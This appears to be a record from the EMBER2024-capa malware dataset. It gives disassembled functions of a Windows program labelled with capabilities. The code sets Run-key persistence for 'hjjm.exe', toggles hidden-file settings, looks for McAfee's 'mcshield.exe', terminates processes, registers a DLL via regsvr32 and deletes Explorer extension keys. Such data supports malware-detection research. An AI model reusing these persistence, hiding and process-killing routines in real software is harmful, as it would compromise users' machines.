joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41caa0
Capabilities:
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x48a970
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4b47a8]
xor eax, esp
push eax
lea eax, [esp + 0x2c]
mov dword fs:[0], eax
mov ebp, dword [esp + 0x3c]
mov esi, dword [sym.imp.USER32.dll_FindWindowA]
push 0x497c5c
xor ebx, ebx
push ebx
call esi
push eax
call fcn.0044940e
push 0x497c5c
push ebx
mov edi, eax
call esi
mov esi, eax
cmp esi, ebx
je 0x41cc55
cmp dword [0x4b90b0], ebx
jne 0x41cb2a
cmp edi, ebx
je 0x41cb2a
mov eax, dword [edi + 0x20]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
test eax, eax
je 0x41cb18
push 9
mov ecx, edi
call fcn.0044c61b
push 1
mov ecx, edi
call fcn.0044c61b
push 5
mov ecx, edi
call fcn.0044c61b
push esi
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov esi, dword [esp + 0x40]
mov ecx, dword [esi]
mov eax, dword [ecx - 0xc]
cmp eax, ebx
jle 0x41cc1c
lea ecx, [esp + 0x18]
call fcn.0045449c
push str.temptemp.dat
lea edx, [ebp + 0x2610]
push edx
lea eax, [esp + 0x44]
push eax
mov dword [esp + 0x40], ebx
call fcn.00406070
add esp, 0xc
push ebx
mov byte [esp + 0x38], 1
mov eax, dword [eax]
push 0x9001
push eax
lea ecx, [esp + 0x24]
call fcn.004544b2
test eax, eax
mov byte [esp + 0x34], 0
mov eax, dword [esp + 0x3c]
sete bl
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41cba9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test bl, bl
je 0x41cbee
mov esi, dword [esp + 0x44]
cmp esi, 2
jg 0x41cbc4
push 0
push 0
push 0x498308
call fcn.0044f968
cmp esi, 3
jne 0x41cbd9
push 0
push 0
push 0x498370
call fcn.0044f968
jmp 0x41cc07
cmp esi, 4
jne 0x41cc07
push 0
push 0
push 0x4983e0
call fcn.0044f968
jmp 0x41cc07
mov eax, dword [esi]
push eax
lea ecx, [esp + 0x1c]
call fcn.00454681
lea ecx, [esp + 0x18]
call fcn.00454857
mov esi, dword [esp + 0x44]
lea ecx, [esp + 0x18]
mov dword [esp + 0x34], 0xffffffff
call fcn.00454893
xor ebx, ebx
jmp 0x41cc20
mov esi, dword [esp + 0x44]
mov ecx, dword [esp + 0x40]
push ecx
mov ecx, 0x4b913c
call fcn.00406820
cmp edi, ebx
je 0x41cc55
mov edx, dword [0x4b913c]
mov eax, dword [edi + 0x20]
push esi
push edx
push 0x4ca
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
cmp eax, 8
jne 0x41cc55
push ebx
call fcn.004694d3
mov ecx, 2
mov edi, ebp
call fcn.0041e8b0
push str.RunOnlyhjtools
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x4b8f48], ebx
mov dword [ebp + 0x22a0], eax
mov ecx, dword [esp + 0x2c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret 0xc
Function at 0x41cd30
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x486a58
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x4b47a8]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
call fcn.0044d630
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41cd6c
push 0x80004005
call fcn.00401db0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [esp + 8], esi
push 0
mov dword [esp + 0x18], 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jl 0x41ce07
call fcn.0041dea0
test eax, eax
jne 0x41cdd2
mov ecx, dword [0x4b9120]
push str.hjjm.dll
push ecx
lea edx, [esp + 0x10]
push str._s___s_s_
push edx
call fcn.004067e0
mov esi, dword [esp + 0x18]
add esp, 0x10
push 0
push 0
push esi
push str.regsvr32
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea eax, [esi - 0x10]
mov dword [esp + 0x14], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41cdf6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x10
ret
call dword [sym.imp.ole32.dll_CoUninitialize]
jmp 0x41cd99
Function at 0x41e000
Capabilities:
Check os version

Disassembly:
sub esp, 0x98
mov eax, dword [0x4b47a8]
xor eax, esp
mov dword [esp + 0x94], eax
push 0x94
lea eax, [esp + 4]
push 0
push eax
mov dword [0x4b8f40], 0
call fcn.0046c870
add esp, 0xc
lea ecx, [esp]
push ecx
mov dword [esp + 4], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x41e06d
push eax
push 0x494704
mov ecx, esi
call fcn.004068a0
or eax, 0xffffffff
mov ecx, dword [esp + 0x94]
xor ecx, esp
call fcn.00468ce5
add esp, 0x98
ret
mov edx, dword [esp + 0xc]
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
push edx
push eax
push ecx
push str.dwMajorVersion_d_dwMinorVersion_d_dwBuildNumber_d
push esi
call fcn.004067e0
mov eax, dword [esp + 0x24]
add esp, 0x14
sub eax, 0
je 0x41e234
sub eax, 1
je 0x41e1df
sub eax, 1
je 0x41e0af
push 0x494704
jmp 0x41e239
mov eax, dword [esp + 4]
cmp eax, 4
ja 0x41e0de
push str.Microsoft_Windows_NT
mov ecx, esi
call fcn.00406a00
mov eax, 1
mov ecx, dword [esp + 0x94]
xor ecx, esp
call fcn.00468ce5
add esp, 0x98
ret
cmp eax, 5
jne 0x41e16b
mov eax, dword [esp + 8]
test eax, eax
jne 0x41e115
push str.Microsoft_Windows_2000
mov ecx, esi
call fcn.00406a00
mov eax, 1
mov ecx, dword [esp + 0x94]
xor ecx, esp
call fcn.00468ce5
add esp, 0x98
ret
cmp eax, 1
jne 0x41e140
push str.Microsoft_Windows_XP
mov ecx, esi
call fcn.00406a00
mov eax, 1
mov ecx, dword [esp + 0x94]
xor ecx, esp
call fcn.00468ce5
add esp, 0x98
ret
cmp eax, 2
jne 0x41e1b9
push str.Microsoft_Windows_2003
mov ecx, esi
call fcn.00406a00
mov eax, 1
mov ecx, dword [esp + 0x94]
xor ecx, esp
call fcn.00468ce5
add esp, 0x98
ret
cmp eax, 6
jb 0x41e1b9
push str.Microsoft_Visat_SP1
mov ecx, esi
call fcn.00406a00
push str.MICROSOFT_7701091_6666888_16826688..___com8.21EC2020_3AEA_1069_A2DD_08002B30309D
mov ecx, 0x4b9260
mov dword [0x4b9070], 1
call fcn.00406a00
mov dword [0x4b8f40], 1
mov eax, 1
mov ecx, dword [esp + 0x94]
xor ecx, esp
call fcn.00468ce5
add esp, 0x98
ret
push str.Microsoft_Windows_NT_other_
mov ecx, esi
call fcn.00406a00
mov eax, 1
mov ecx, dword [esp + 0x94]
xor ecx, esp
call fcn.00468ce5
add esp, 0x98
ret
cmp dword [esp + 4], 4
jne 0x41e22d
mov eax, dword [esp + 8]
test eax, eax
jne 0x41e205
cmp byte [esp + 0x15], 0x43
mov ecx, esi
jne 0x41e1fe
push str.Microsoft_Windows_95_OSR2
jmp 0x41e23b
push str.Microsoft_Windows_95
jmp 0x41e23b
cmp eax, 0xa
jne 0x41e221
cmp byte [esp + 0x15], 0x41
mov ecx, esi
jne 0x41e21a
push str.Microsoft_Windows_98_SE
jmp 0x41e23b
push str.Microsoft_Windows_98
jmp 0x41e23b
cmp eax, 0x5a
jne 0x41e22d
push str.Microsoft_Windows_ME
jmp 0x41e239
push str.Microsoft_Windows_9X_Other_
jmp 0x41e239
push str.Microsoft_Win32s
mov ecx, esi
call fcn.00406a00
mov ecx, dword [esp + 0x94]
xor ecx, esp
xor eax, eax
call fcn.00468ce5
add esp, 0x98
ret
Function at 0x41e320
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push edi
mov edi, eax
call fcn.0041e500
cmp eax, 0xffffffff
je 0x41e359
mov esi, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x41e340
push eax
push 1
push 0x1f0fff
call esi
push 1
push eax
call ebx
call fcn.0041e500
cmp eax, 0xffffffff
jne 0x41e340
pop edi
pop esi
pop ebx
ret

Function at 0x41e360
Capabilities:
Enumerate processes

Disassembly:
push 0xffffffffffffffff
push 0x487f4b
mov eax, dword fs:[0]
push eax
sub esp, 0x130
mov eax, dword [0x4b47a8]
xor eax, esp
mov dword [esp + 0x12c], eax
push ebp
push esi
push edi
mov eax, dword [0x4b47a8]
xor eax, esp
push eax
lea eax, [esp + 0x140]
mov dword fs:[0], eax
push 0
push 0xf
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebp, eax
lea eax, [esp + 0x14]
push eax
push ebp
mov dword [esp + 0x1c], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x41e497
or edi, 0xffffffff
lea ecx, [esp + 0x38]
push ecx
lea ecx, [esp + 0x14]
call fcn.00406500
mov dword [esp + 0x148], 0
mov edx, dword [esp + 0x10]
mov esi, dword [edx - 0xc]
mov eax, dword [edx - 8]
mov ecx, 1
sub ecx, dword [edx - 4]
sub eax, esi
or eax, ecx
jge 0x41e402
push esi
lea ecx, [esp + 0x14]
call fcn.00406390
mov edx, dword [esp + 0x10]
lea eax, [esi + 1]
push eax
push edx
call fcn.0046bac1
push eax
call fcn.004112a0
add esp, 0xc
test esi, esi
jl 0x41e4f2
mov eax, dword [esp + 0x10]
cmp esi, dword [eax - 8]
jg 0x41e4f2
mov dword [eax - 0xc], esi
mov ecx, dword [esp + 0x10]
mov byte [esi + ecx], 0
mov ecx, dword [esp + 0x10]
cmp dword [ecx - 0xc], 0
jl 0x41e45b
push str.mcshield.exe
push ecx
call fcn.0046a65b
mov ecx, dword [esp + 0x18]
add esp, 8
test eax, eax
je 0x41e45b
sub eax, ecx
cmp eax, edi
jne 0x41e4c0
lea eax, [ecx - 0x10]
mov dword [esp + 0x148], edi
lea edx, [eax + 0xc]
mov ecx, edi
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x41e47d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x14]
push ecx
push ebp
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x41e3c3
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [esp + 0x140]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x12c]
xor ecx, esp
call fcn.00468ce5
add esp, 0x13c
ret
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0x148], edi
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
lock xadd dword [edx], edi
dec edi
test edi, edi
jg 0x41e4eb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
jmp 0x41e499
push 0x80070057
call fcn.00401db0
int3
Function at 0x41e500
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x138
mov eax, dword [0x4b47a8]
xor eax, esp
mov dword [esp + 0x130], eax
push esi
push 0
push 0xf
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 8]
push eax
push esi
mov dword [esp + 0x10], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x41e58f
lea ecx, [esp + 0x2c]
push ecx
lea ecx, [esp + 8]
call fcn.00406500
mov eax, dword [edi]
mov edx, dword [esp + 4]
push eax
push edx
call fcn.00469941
add esp, 8
test eax, eax
je 0x41e5a8
mov eax, dword [esp + 4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41e579
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 8]
push ecx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x41e537
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or eax, 0xffffffff
pop esi
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.00468ce5
add esp, 0x138
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 4]
mov esi, dword [esp + 0x10]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x41e5d3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x134]
mov eax, esi
pop esi
xor ecx, esp
call fcn.00468ce5
add esp, 0x138
ret
Function at 0x41e5f0
Capabilities:
Enumerate processes

Disassembly:
push 0xffffffffffffffff
push 0x487f06
mov eax, dword fs:[0]
push eax
sub esp, 0x140
mov eax, dword [0x4b47a8]
xor eax, esp
mov dword [esp + 0x138], eax
push ebp
push edi
mov eax, dword [0x4b47a8]
xor eax, esp
push eax
lea eax, [esp + 0x14c]
mov dword fs:[0], eax
mov eax, dword [esp + 0x15c]
xor edi, edi
mov dword [esp + 0x14], eax
mov dword [esi + 0x22ec], edi
call fcn.0044d630
xor ecx, ecx
cmp eax, edi
setne cl
cmp ecx, edi
jne 0x41e656
push 0x80004005
call fcn.00401db0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x10], eax
mov dword [esp + 0x154], edi
call fcn.0044d630
xor ecx, ecx
cmp eax, edi
setne cl
cmp ecx, edi
jne 0x41e687
push 0x80004005
call fcn.00401db0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea ebp, [eax + 0x10]
mov dword [esp + 0x18], ebp
push edi
push 0xf
mov byte [esp + 0x15c], 1
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [esp + 0x1c]
mov edi, eax
push ecx
push edi
mov dword [esp + 0x24], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x41e763
lea edx, [esp + 0x40]
push edx
lea ecx, [esp + 0x10]
call fcn.00406500
mov eax, dword [esp + 0x14]
mov eax, dword [eax]
mov ecx, dword [esp + 0xc]
push eax
push ecx
call fcn.00469941
add esp, 8
test eax, eax
jne 0x41e70b
mov edx, dword [esi + 0x22ec]
mov eax, dword [esp + 0x24]
mov dword [esi + edx*4 + 0x22d4], eax
add dword [esi + 0x22ec], 1
cmp dword [esi + 0x22ec], 6
jg 0x41e73c
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41e72b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x1c]
push ecx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x41e6c4
jmp 0x41e75c
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x41e75c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x10]
mov byte [esp + 0x154], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41e787
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x154], 0xffffffff
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41e7b2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x14c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebp
mov ecx, dword [esp + 0x138]
xor ecx, esp
call fcn.00468ce5
add esp, 0x14c
ret 4
Function at 0x41e8b0
Capabilities:
Terminate process

Disassembly:
sub esp, 0x18
mov eax, dword [0x4b47a8]
xor eax, esp
mov dword [esp + 0x10], eax
push ebx
push ebp
push esi
mov esi, ecx
mov ecx, edi
call fcn.0041e7e0
cmp dword [edi + 0x22ec], esi
jl 0x41e99a
push 0xa
lea eax, [esp + 0x18]
push eax
push esi
call fcn.004808d6
add esp, 0xc
push str.param.ini
lea ecx, [esp + 0x14]
push 0x4b90c8
push ecx
call fcn.00406070
mov edx, dword [eax]
add esp, 0xc
push edx
lea eax, [esp + 0x18]
push eax
push str.ExitIdCounts
push str.HJJMID
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41e935
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor ebx, ebx
cmp dword [edi + 0x22ec], ebx
mov dword [edi + 0x22f0], eax
jle 0x41e99a
mov ebp, dword [sym.imp.KERNEL32.dll_OpenProcess]
lea ecx, [edi + 0x22d4]
mov dword [esp + 0x10], ecx
mov edx, dword [esp + 0x10]
mov eax, dword [edx]
cmp eax, dword [edi + 0x22f0]
je 0x41e98a
cmp eax, 0xffffffff
je 0x41e98a
push eax
push 1
push 0x1f0fff
call ebp
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add dword [esp + 0x10], 4
add ebx, 1
cmp ebx, dword [edi + 0x22ec]
jl 0x41e95b
mov ecx, dword [esp + 0x1c]
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00468ce5
add esp, 0x18
ret
Function at 0x41fbd0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x108
mov eax, dword [0x4b47a8]
xor eax, esp
mov dword [esp + 0x104], eax
push 0x104
lea eax, [esp + 4]
push 0
push eax
call fcn.0046c870
add esp, 0xc
push 0x104
lea ecx, [esp + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [esp]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x41fc10
sub eax, edx
push eax
lea edx, [esp + 4]
push edx
mov ecx, 0x4b9120
call fcn.004068a0
push 1
push 0x494a8c
mov ecx, 0x4b9120
call fcn.0040a140
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.00468ce5
add esp, 0x108
ret

Function at 0x420600
Capabilities:
Check if file exists

Disassembly:
push 0xffffffffffffffff
push 0x489118
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4b47a8]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
call fcn.0044d630
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x42063f
push 0x80004005
call fcn.00401db0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x14], eax
movsx esi, byte [esp + 0x28]
mov dword [esp + 0x20], 0
mov ecx, dword [0x4b9260]
push ecx
push esi
lea edx, [esp + 0x1c]
push str._c:RECYCLER88_sparam
push edx
call fcn.004067e0
mov edi, dword [esp + 0x24]
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
add esp, 0x10
push edi
call ebx
test eax, eax
mov ebp, dword [sym.imp.KERNEL32.dll_CreateFileA]
je 0x4206a2
push 0
push 0x2000000
push 3
push 0
push 0
push 0xc0000000
push edi
call ebp
mov eax, dword [0x4b9260]
push eax
push esi
lea ecx, [esp + 0x1c]
push str._c:RECYCLER_sparam
push ecx
call fcn.004067e0
mov esi, dword [esp + 0x24]
add esp, 0x10
push esi
call ebx
test eax, eax
je 0x4206db
push 0
push 0x2000000
push 3
push 0
push 0
push 0xc0000000
push esi
call ebp
lea eax, [esi - 0x10]
mov dword [esp + 0x20], 0xffffffff
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4206ff
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 4
Function at 0x420ea0
Capabilities:
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0x487dd8
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4b47a8]
xor eax, esp
push eax
lea eax, [esp + 0x20]
mov dword fs:[0], eax
push 0
push 0x494704
mov ecx, 0x4b92ac
call fcn.004068a0
mov ebx, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
push 0
push 0
call ebx
mov esi, eax
lea eax, [esi + 1]
push eax
call fcn.00446d76
add esp, 4
mov edi, eax
push edi
push esi
mov dword [esp + 0x24], edi
call ebx
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x420f01
sub eax, edx
mov esi, eax
mov dword [esp + 0x18], esi
call fcn.0044d630
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x420f2c
push 0x80004005
call fcn.00401db0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x14], eax
test esi, esi
mov dword [esp + 0x28], 0
jbe 0x420ffc
test edi, edi
jne 0x420f54
xor eax, eax
jmp 0x420f6b
mov eax, edi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x420f60
sub eax, edx
push eax
push edi
lea ecx, [esp + 0x1c]
call fcn.004068a0
mov eax, dword [esp + 0x14]
cmp dword [eax - 0xc], 0
jl 0x42104f
mov edx, dword [0x4b92ac]
mov bl, byte [eax]
mov ebp, dword [edx - 0xc]
mov eax, dword [edx - 8]
mov ecx, 1
sub ecx, dword [edx - 4]
lea esi, [ebp + 1]
sub eax, esi
or eax, ecx
jge 0x420fb4
push esi
mov ecx, 0x4b92ac
call fcn.00406390
mov edx, dword [0x4b92ac]
test esi, esi
mov byte [edx + ebp], bl
jl 0x42104f
mov eax, dword [0x4b92ac]
cmp esi, dword [eax - 8]
jg 0x42104f
mov edx, dword [esp + 0x18]
mov dword [eax - 0xc], esi
mov ecx, dword [0x4b92ac]
lea edi, [edi + edx + 1]
mov eax, edi
mov byte [ecx + esi], 0
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x420fe7
sub eax, edx
mov dword [esp + 0x18], eax
jne 0x420f4c
mov eax, dword [esp + 0x1c]
push eax
call fcn.00446d7b
add esp, 4
mov edi, 0x4b92ac
call fcn.00424fb0
mov dword [esp + 0x28], 0xffffffff
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x42103b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret
push 0x80070057
call fcn.00401db0
int3
Function at 0x421060
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x486a30
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x4b47a8]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x10]
push ecx
push 0
push 0x2001f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp + 0x3c], 0
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x30], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x42114b
mov edi, dword [esp + 0xc]
push str.hjjm.exe_zhj5
lea edx, [esp + 0x10]
push 0x4b90c8
push edx
mov dword [esp + 0x1c], edi
call fcn.00406070
add esp, 0xc
mov byte [esp + 0x1c], 1
mov esi, dword [eax]
xor eax, eax
test esi, esi
setne al
test eax, eax
jne 0x4210ff
push 0x80004005
call fcn.00401db0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
push eax
push esi
push 1
push 0
push str.Hjjm
push edi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov byte [esp + 0x1c], 0
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x421140
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test edi, edi
je 0x42114b
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x14
ret

Function at 0x421160
Capabilities:
Set registry value

Disassembly:
sub esp, 8
lea eax, [esp + 4]
push eax
lea ecx, [esp + 4]
push ecx
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced
push reloc.WS2_32.dll_accept
mov dword [esp + 0x24], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4211c9
cmp dword [esp + 0xc], eax
push esi
mov esi, dword [esp + 4]
push 4
lea edx, [esp + 0x14]
push edx
push 4
setne al
push 0
push str.SuperHidden
push esi
mov dword [esp + 0x28], eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test esi, esi
je 0x4211c8
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
add esp, 8
ret 4
Function at 0x421c80
Capabilities:
Delete registry key

Disassembly:
sub esp, 8
lea eax, [esp + 4]
push eax
lea ecx, [esp + 4]
push ecx
push 0
push 0x2001f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExtSettings
push reloc.WS2_32.dll_accept
mov dword [esp + 0x24], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x421d43
push esi
mov esi, dword [esp + 4]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push str.BE5EAD7D_1C3A_4DDE_9A8D_5AE1B426E18F
push esi
call edi
push str.BE5EAD7D_1C3A_4DDE_9A8D_5AE1B426E88F
push esi
call edi
push str.BE5EAD7D_1C3A_4DDE_9A8D_5AE1B426E10F
push esi
call edi
push str.BE5EAD7D_1C3A_8DDE_9A8D_5AE1B826E88F
push esi
call edi
push str.BE8EAD7D_1C8A_8DDE_9A8D_5AE1B826E88F
push esi
call edi
push str.BE8EAD98_1C8A_8DD8_9A8D_5AE1B826E88F
push esi
call edi
push str.BE8FAF98_1C8A_8DD8_9A8D_5AE1B826E88F
push esi
call edi
push str.BE8EFF18_1C8A_8DD8_9A8D_5AE1B826E88F
push esi
call edi
push str.BE8EAD98_1F8A_8DD8_9A8D_5AE1B826E88F
push esi
call edi
push str.BE8EAD98_1C8F_8DD8_9A8D_5AE1B826E88F
push esi
call edi
push str.BE8EAD98_1C8A_8D98_9A8D_5AE1B826E88F
push esi
call edi
push str.BE8EAD98_1C8A_8AF8_9A8D_5AE1B826E88F
push esi
call edi
push str.BE8EAD98_1C8A_8DD8_9A9F_5AE1B826E88F
push esi
call edi
push str.BE8EAD98_1C8A_8DD8_9F8D_5AE1B826E88F
push esi
call edi
test esi, esi
je 0x421d41
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
add esp, 8
ret